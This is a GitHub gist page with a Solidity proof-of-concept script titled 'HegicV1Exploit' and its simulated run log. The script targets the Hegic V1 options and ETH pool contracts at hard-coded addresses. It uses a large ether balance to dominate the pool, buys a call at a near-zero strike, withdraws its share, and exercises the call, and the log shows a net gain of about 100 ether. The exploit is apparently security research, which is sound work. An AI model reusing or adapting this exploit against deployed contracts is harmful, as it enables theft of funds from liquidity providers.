Skip to content

Instantly share code, notes, and snippets.

@samczsun
Last active May 23, 2020 01:23
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save samczsun/2f4ee8619470b464e86c3f1a1ea17e58 to your computer and use it in GitHub Desktop.
Save samczsun/2f4ee8619470b464e86c3f1a1ea17e58 to your computer and use it in GitHub Desktop.
[#] running script "HegicV1Exploit" on block 9945590
[#] running "addLiquidity()" as 0xF15968a096Fc8F47650001585d23bEE819b5affb with 361.757636034735882668 ether
[#] finished running "addLiquidity()"
[#] running "createCall()" as 0x825CbA53c1b91E299bf8694dB5a6e6a6c580c426 with 10000.000000000000000000 ether
[0x825CbA53c1b91E299bf8694dB5a6e6a6c580c426] premium=100.999999994971831980 fees=1.000000000000000000
[0x825CbA53c1b91E299bf8694dB5a6e6a6c580c426] available=5100.004999994971831980 total=5331.634999994971831980 share=5095.572416648879205047
[0x825CbA53c1b91E299bf8694dB5a6e6a6c580c426] available=4.432583346092626933 total=236.062583346092626933 share=0.000000000000000000
[0x825CbA53c1b91E299bf8694dB5a6e6a6c580c426] net=-5.427583346092626933
[#] finished running "createCall()"
[#] stepping forward by 900 seconds (9945590 -> 9945651)
[#] running "exerciseCall()" as 0x825CbA53c1b91E299bf8694dB5a6e6a6c580c426 with 10.000000000000000000 ether
[0x825CbA53c1b91E299bf8694dB5a6e6a6c580c426] strikeAmount=0.000001000000000000
[0x825CbA53c1b91E299bf8694dB5a6e6a6c580c426] available=4.432583351260507596 total=136.062583351260507596 share=0.000000000000000000
[0x825CbA53c1b91E299bf8694dB5a6e6a6c580c426] net=99.999999994800971959
[#] finished running "exerciseCall()"
contract HegicOptionsLike {
enum State { Active, Exercised, Expired }
function fees(uint period, uint amount, uint strike) public view returns (uint premium, uint hegicFee, uint strikeFee, uint slippageFee, uint periodFee);
function create(uint period, uint amount, uint strike) public payable returns (uint optionID);
function exercise(uint optionID) public;
function options(uint optionID) public returns (State state, address payable holder, uint strikeAmount, uint amount, uint expiration, uint activation);
}
contract HegicEthPoolLike {
function provide() public payable returns (uint mint);
function withdraw(uint amount) public returns (uint burn);
function shareOf(address user) public view returns (uint share);
function availableBalance() public view returns (uint balance);
function totalBalance() public view returns (uint balance);
}
contract HegicV1Exploit is script {
HegicOptionsLike private constant CALL = HegicOptionsLike(0xEdf3B24db6B1b571f3773Dd311fd8B0af7Abb938);
HegicEthPoolLike private constant ETH_POOL = HegicEthPoolLike(0x34Ddc40E17BC8f0a159ba4fC297E55bd3f7c75aA);
function setup() public {}
function run() public {
// add some liquidity first as a bystander because the pool is empty
run(this.addLiquidity)
.withCaller(0xF15968a096Fc8F47650001585d23bEE819b5affb);
// create the call by flash loaning 10000 ether and buying a large share of the pool
run(this.createCall)
.withBalance(10000 ether);
// skip to when we can exercise
advanceTime(15 minutes);
// exercise the call
run(this.exerciseCall)
.withBalance(10 ether);
}
uint private optionId;
function addLiquidity() external {
ETH_POOL.provide.value(100 ether)();
}
function createCall() external {
int256 initialBalance = int(address(this).balance);
ETH_POOL.provide.value(5000 ether)();
(uint premium, uint fees,,,) = CALL.fees(1 days, 100 ether, 1);
fmt.printf("premium=%.18u fees=%.18u\n", abi.encode(premium, fees));
optionId = CALL.create.value(premium)(1 days, 100 ether, 1);
fmt.printf("available=%.18u total=%.18u share=%.18u\n", abi.encode(ETH_POOL.availableBalance(), ETH_POOL.totalBalance(), ETH_POOL.shareOf(address(this))));
ETH_POOL.withdraw(ETH_POOL.shareOf(address(this)));
fmt.printf("available=%.18u total=%.18u share=%.18u\n", abi.encode(ETH_POOL.availableBalance(), ETH_POOL.totalBalance(), ETH_POOL.shareOf(address(this))));
fmt.printf("net=%.18d\n", abi.encode(int(address(this).balance) - initialBalance));
}
function exerciseCall() external {
int256 initialBalance = int(address(this).balance);
(,, uint strikeAmount,,,) = CALL.options(optionId);
fmt.printf("strikeAmount=%.18u\n", abi.encode(strikeAmount));
uniswap.buy(DAI, strikeAmount);
DAI.approve(address(CALL), strikeAmount);
CALL.exercise(optionId);
fmt.printf("available=%.18u total=%.18u share=%.18u\n", abi.encode(ETH_POOL.availableBalance(), ETH_POOL.totalBalance(), ETH_POOL.shareOf(address(this))));
fmt.printf("net=%.18d\n", abi.encode(int(address(this).balance) - initialBalance));
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment